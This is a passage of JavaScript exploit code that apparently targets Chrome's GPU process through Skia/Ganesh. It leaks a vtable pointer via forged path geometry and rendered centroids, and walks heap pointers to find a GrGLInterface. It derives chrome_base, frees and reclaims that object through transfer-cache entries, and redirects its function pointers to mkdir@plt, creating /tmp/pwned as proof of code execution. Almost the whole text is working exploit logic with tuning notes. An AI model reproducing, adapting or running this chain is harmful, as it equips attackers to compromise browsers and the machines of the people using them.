  // Dynamic schedule scaled off whichever Sx0 hit in round 0. The deltas
  // (+8, +15, +19 in log2) are constant — they reflect the geometry of how
  // 1-pixel resolution maps to ULPs at scaled magnitudes. Starting from
  // Sx0=2^-38 gives the canonical [-30, -23, -19]; starting from 2^-58
  // (chrome_base[5]=0x5f case) gives [-50, -43, -39].
  const Sx0_log2 = Math.round(Math.log2(Sx0_hit));
  const REFINE_DELTAS = [8, 15, 19];
  for (const d of REFINE_DELTAS) {
    const exp = Sx0_log2 + d;
    const Sx = 2 ** exp;
    const Tx = Math.fround(320 - est * Sx);
    const sw = Math.max(4 / Sx, 2 ** 24);
    const c = await probe(Sx, Tx, Sy, 320, sw);
    if (!Number.isFinite(c.x)) throw '④b round e=' + exp + ' FAILED';
    est = (c.x - Tx) / Sx;
    log('④b round e=' + exp + ' est P0.x=' + est.toExponential(9) +
        ' (bits 0x' + f32u(est).toString(16).padStart(8,'0') + ')');
  }
  const y_neg = cy0 < 320;
  const vptr_2_6 = f32u(est);
  log('④b ✓ vptr1[2:6] = 0x' + vptr_2_6.toString(16).padStart(8,'0') +
      '  y_neg=' + y_neg);

  // ─── #30b re-forge smoke (gated ?reforge) ────────────────────────────────
  // After first hit, GrCpuBuffer(49184) is held by GrBufferAllocPool's cache;
  // a fresh cascade (mid=noop, no punch) should hit the SAME slot and rewrite
  // the victim. Probe must return identical vptr_2_6.
  if (location.search.includes('reforge')) {
    const Sx0 = 2 ** -38;
    for (let rf = 1; rf <= 2; ++rf) {
      log('#30b reforge ' + rf + ' (W=decoder+2, AF=0, mid=noop)');
      if (!forge(W, 0n, () => {})) throw '#30b forge enc-fail';
      let est2 = NaN;
      const c0 = await probe(Sx0, 0, Sy, 320, 4 / Sx0);
      if (!Number.isFinite(c0.x)) {
        log('#30b   round0 MISS (dark=' + c0.dark + ') — re-forge LOST slot');
        throw '#30b reforge ' + rf + ' MISS';
      }
      est2 = c0.x / Sx0;
      for (const e of [-30, -23, -19]) {
        const Sx = 2 ** e;
        const Tx = Math.fround(320 - est2 * Sx);
        const c = await probe(Sx, Tx, Sy, 320, Math.max(4/Sx, 2**24));
        if (!Number.isFinite(c.x)) throw '#30b refine e=' + e + ' MISS';
        est2 = (c.x - Tx) / Sx;
      }
      const got = f32u(est2);
      log('#30b reforge ' + rf + ' → 0x' + got.toString(16).padStart(8,'0') +
          (got === vptr_2_6 ? '  ✓ MATCH' : '  ✗ MISMATCH (want 0x' +
           vptr_2_6.toString(16).padStart(8,'0') + ')'));
      if (got !== vptr_2_6) throw '#30b MISMATCH';
    }
    log('#30b ✓✓ re-forge stable across 2 extra cycles');
    forge(W, AF, () => {});                        // restore AF for ⑤a
  }

  // ─── #30c pointer-chase (gated ?chase) ───────────────────────────────────
  // Forge W=addr−7 ([-8]=0 ⇒ P0.x=0); hairline (width=0) so stroke is 1px in
  // screen coords regardless of CTM ⇒ Sy can be ~0. Line clips at x=edge,
  // ends at screen(P1).x ⇒ centroid.x = (edge + sP1x)/2. P1.x = u32f(D4<<24
  // | t2<<8 | t1): exp from D4 (known), mantissa = bits[8:24] of target.
  // bytes[3:8] of every hop target == decoder's (same 16MB region).
  if (location.search.includes('chase')) {
    const decoder = W - 2n;
    const decHi24 = decoder & ~0xffffffn;
    const D4 = Number((decoder >> 32n) & 0xffn);
    const eD4 = ((D4 & 0x7f) << 1) - 127;
    const sign = (D4 & 0x80) ? -1 : 1;
    log('#30c chase: decoder=' + hex(decoder) + ' D4=0x' + D4.toString(16) +
        ' E=' + eD4 + ' sign=' + sign + ' (need E≥-103)');
    if (eD4 < -103) throw '#30c unlucky ASLR (D4&0x7f<12, 1/16); rerun';

    const fLo  = u32f((D4 << 24) >>> 0);
    const fHi  = u32f(((D4 << 24) | 0xffff) >>> 0);
    const span = Math.abs(fHi - fLo);
    const edge = sign > 0 ? 0 : wd;
    const SyTiny = 2 ** -120;   // nonzero float32; |P.y|≤2^97 ⇒ Δy<2^-23 px

    // ─────────────────────────────────────────────────────────────────────────
    // #30c FINDING (2026-05-01): ④b's read primitive does NOT generalize.
    //
    // ④b works because GrStyledShape::simplifyStroke (GrStyledShape.cpp:711)
    // converts the forged {M,L} line to an axis-aligned RECT *only* when
    // P1.fX==P2.fX bitwise. At fPts=decoder+2 that holds: P0.x=vptr1[2:6],
    // P1.x=vptr2[2:6], vptr2=vptr1+0x260 → bytes[2:6] identical (carry into
    // bit16 has P≈0.009). Rect → inverted-fill → dark hole, centroid.x =
    // Sx·P0.x+Tx exactly.
    //
    // For the chase, no fPts window gives both (a) P0.x==P1.x bitwise AND (b)
    // target_low24 in P0.y, except fPts=addr−4 — which needs *(addr−8) to be
    // a same-region heap ptr (so prev[4:8]=={D4,D5,D6,0}==target[4:8]). Per
    // #30a neighbor table that's true ONLY at hop3 (grctx+0x80, [−8]=
    // fStrikeCache); hops 1,2,4,5 have [−8]∈{0, packed-int, vptr}.
    //
    // Alternatives tried & rejected:
    //  • hairline (width=0) + kWinding: quickReject'd — forged fBounds=[0,15]²
    //    maps off-canvas under the Tx needed to center P1. fBounds can't grow:
    //    its floats are also payload-path coords, atlas gate caps them at ~15
    //    (renderer_hijack.patch:541, AtlasPathRenderer kAtlasMaxPathHeight).
    //  • hairline + kInverseWinding: Ganesh silently no-ops (full-canvas dark;
    //    AAHairLinePathRenderer rejects inverted, fallback strokes to 0-area).
    //  • non-axis line + thick stroke + kInverseWinding: simplifyStroke returns
    //    early; PathRenderer geometry depends on local-space line direction
    //    = f(|P1.x|, |P1.y−P0.y|), and P*.y exponents come from unknown
    //    neighbor low-bytes → unpredictable across hops/ASLR.
    //  • nVerbs=1 (point) + kSquare cap: rect is hw×hw symmetric → can't make
    //    it thin-in-x/tall-in-y; Sx/Sy decoupling overflows one axis.
    //
    // Net: #30c as designed is BLOCKED. To unblock, would need to re-derive
    // the chain via #30a with the extra constraint "[−8] is a same-region ptr"
    // at every hop (gdb-scan each object for a [ptr][→next] field pair). Given
    // GLIfaceOff is a single build-constant — no worse than the five field
    // offsets {0x190,0xa8,0x80,0x80,0x08} which ALSO change on relink — the
    // chase doesn't actually improve build-portability. Parking here.
    // ─────────────────────────────────────────────────────────────────────────

    void(fLo, fHi, span, edge, SyTiny, decHi24);
    log('#30c PARKED — see FINDING comment above. ④b primitive needs ' +
        'P0.x==P1.x bitwise (simplifyStroke vertical-rect); only the vptr ' +
        'pair satisfies that. GLIfaceOff stays a build-constant.');
  }

  // ─── ④w runtime decoder→glif walk (replaces RCE.GLIfaceOff) ──────────────
  // #30c above is the May-01 dead end; s1+s4 (validated 24/27 in
  // docker_probe/test_c1_shift.html) sidesteps the P0.x==P1.x requirement by
  // forcing a known-axis strip via framing instead of via simplifyStroke.
  // Skipped iff ?gli_off= override present (debug / regression baseline).
  if (location.search.includes('c1dbg')) {
    // Re-forge stability probe with forge()'s pin/unpin cycle. Alternate
    // W between decoder+2 and decoder+6 each iteration; c.x must flip every
    // time (P0.x = vptr1[2:6] vs vptr1[6:8]‖vptr2[0:2]).
    const cx0 = est * Sx0_hit;   // ④a round-0 c.x (pre-Tx, Tx=0)
    log('④w.dbg ④a c.x=' + cx0.toFixed(4) + ' — pin/unpin re-forge ×8');
    let prev = cx0;
    for (let k = 1; k <= 8; ++k) {
      const Wt = (k & 1) ? decoder + 6n : decoder + 2n;
      forge(Wt, 0n, () => {});
      const d = await probe(Sx0_hit, 0, Sy, 320, 4 / Sx0_hit);
      const moved = Number.isFinite(d.x) && Math.abs(d.x - prev) > 1.0;
      log('④w.dbg k=' + k + ' W=dec+' + (k&1?6:2) + ' dark=' + d.dark +
          ' c.x=' + (Number.isFinite(d.x) ? d.x.toFixed(4) : 'NaN') +
          (moved ? '  ← MOVED' : '  ✗ stuck'));
      if (Number.isFinite(d.x)) prev = d.x;
    }
    throw '④w.dbg STOP';
  }
  // No static-anchor short-circuit: tried glgpu (most stable hop, 28/32 in the
  // headless corpus) but on wayland it drifts with system state (0xf9e00 →
  // 0xfde00 → 0xcde00 across one day as mesa_shader_cache grew), same disease
  // as glif (Δ=0/0x1800/0x2800/0x10000). Full walk is the only correct path;
  // 18/19 on wayland with bg-networking disabled, ~58s. ?gli_off=HEX preserves
  // the original static behaviour. ?walk=pred enables the b3-predict fast path
  // (11 forges, ~41s) — currently parked: it drops to ~40% for reasons not yet
  // understood (forge#8+ stop retargeting; full-walk with the same forge at the
  // same position is fine).
  if (!location.search.includes('gli_off')) {
    const full = !location.search.includes('walk=pred');
    const short = location.search.includes('walk=short');
    const ultra = location.search.includes('walk=ultra');
    const hops = ultra ? ULTRA_SHORT_HOPS : (short ? SHORT_HOPS : C1_HOPS);
    const nh = hops.length;
    const s4count = full ? nh : hops.filter(h => h[3] === null).length;
    const nf = nh + s4count;
    log('④w walk: decoder=' + hex(decoder) + ' poolHi=0x' +
        poolHi.toString(16) +
        ' (' + nh + ' hops, ' + nf + ' forges' +
        (short ? ', ?walk=short' : '') +
        (full ? '' : ', ?walk=pred') + ')');
    let cur = decoder, b3base = null;
    for (const [nm, off, zb, b3d] of hops) {
      const b3p = (full || b3d === null || b3base === null)
                    ? undefined : (b3base + b3d) & 0xff;
      cur = await c1read(cur + off, zb, nm, b3p);
      const b3 = Number((cur >> 24n) & 0xffn);
      if (nm === 'scs') b3base = b3;
      log('④w   ' + nm.padEnd(7) + ' = ' + hex(cur) +
          '  [+' + hex(off) + (zb ? ' ZB' : ' ZA') +
          (b3p === undefined ? ' s4]' : ' b3←' + b3p.toString(16) + ']'));
    }
    log('④w ✓ glif=' + hex(cur) + '  (vs static guess ' + hex(ctx.AF) +
        ', Δ=' + (cur === ctx.AF ? '0' : hex(cur > ctx.AF ? cur-ctx.AF
                                                          : ctx.AF-cur)) +
        ')  forges=' + nC1Forge + ' probes=' + nC1Probe);
    AF = cur;
  } else {
    log('④w SKIP — ?gli_off override, AF=' + hex(AF));
  }
  // Install final {W, AF} into the victim header for ⑤a's sk_free(AF).
  if (!forge(W, AF, () => {})) throw '④w final AF=' + hex(AF) + ' NaN-encodes';

  // ─── ④c chrome_base k-disambiguation (L1606-1640) ────────────────────────
  const vo1_hi = Number(RCE.Vo1 >> 16n);
  const vo1_lo = Number(RCE.Vo1 & 0xffffn);
  let chrome_base = 0n, k_hit = -1;
  for (let k = 0; k < 16; ++k) {
    const lo = ((k << 12) + vo2lo) & 0xffff;
    const bits = (((lo >> 8) << 24) | ((lo & 0xff) << 16)) >>> 0;
    const {e, neg} = ilogbBits(bits);
    const carry = ((k << 12) + vo1_lo) >>> 16;
    const cb_k = (BigInt((vptr_2_6 - vo1_hi - carry) >>> 0) << 16n) |
                 BigInt(k << 12);
    const hit = (e === ey_hit && neg === y_neg);
    log('④c   k=' + k.toString().padStart(2) + ' e_y=' + e +
        (neg ? ' -' : ' +') + '  cb=' + hex(cb_k) +
        '  vptr1=' + hex(cb_k + RCE.Vo1) + (hit ? '  ← HIT' : ''));
    if (hit) { k_hit = k; chrome_base = cb_k; }
  }
  if (k_hit < 0) throw '④d FAILED — no k matches (ey=' + ey_hit + ', neg=' + y_neg + ')';
  const mkdir_abs = chrome_base + RCE.Mkdir;
  log('④d ✓ k=' + k_hit + '  chrome_base=' + hex(chrome_base) +
      '  mkdir@plt=' + hex(mkdir_abs));

  // ─── ⑤a EVICT victim → arb-free(GrGLInterface) (L1642-1655) ──────────────
  log('⑤a ClearPaintCache → ~victim → sk_free(AF=' + hex(AF) + ')');
  ring.clearPaintCache();

  // ─── ⑤b RECLAIM via RawMemory TC (L1657-1693) ────────────────────────────
  const rs = xfer5.alloc(RCE.GLIfaceSize, 8);
  rs.u8.fill(0);
  {
    const dv = new DataView(rs.u8.buffer, rs.u8.byteOffset);
    const path = '/tmp/pwned\0';
    for (let off = RCE.GLIfaceFnOff; off + 40 <= RCE.GLIfaceSize; off += 40) {
      dv.setBigUint64(off, mkdir_abs, true);
      for (let j = 0; j < path.length; ++j) rs.u8[off + 8 + j] = path.charCodeAt(j);
    }
  }
  log('⑤b reclaim ×' + CAS.ReclaimN + ' (size=' + RCE.GLIfaceSize +
      ') tile fCall=' + hex(mkdir_abs) + ' fBuf="/tmp/pwned"');
  for (let i = 0; i < CAS.ReclaimN; ++i) {
    const h = handles.next();
    ring.createTransferCacheEntry(kTCRawMemory, CAS.ReclaimId + i,
        h.shmId, h.offset, rs.shmId, rs.offset, RCE.GLIfaceSize);
  }

  // ─── ⑤c TRIGGER (L1695-1707) ─────────────────────────────────────────────
  log('⑤c BeginRaster → first GL call = mkdir("/tmp/pwned", …). ' +
      'GPU likely crashes shortly after; check filesystem.');
  ring.beginRaster([0,0,0,1], 1, 0, MsaaMode.kNoMSAA, 0, 1, 1.0, mb);
  ring.endRaster();
  const st = await ring.finish();
  log('⑤ done — get_offset=' + st.getOffset + ' err=' + st.error +
      ' — `ls -la /tmp/pwned`');
  return {chrome_base, mkdir_abs, vptr_2_6};
}
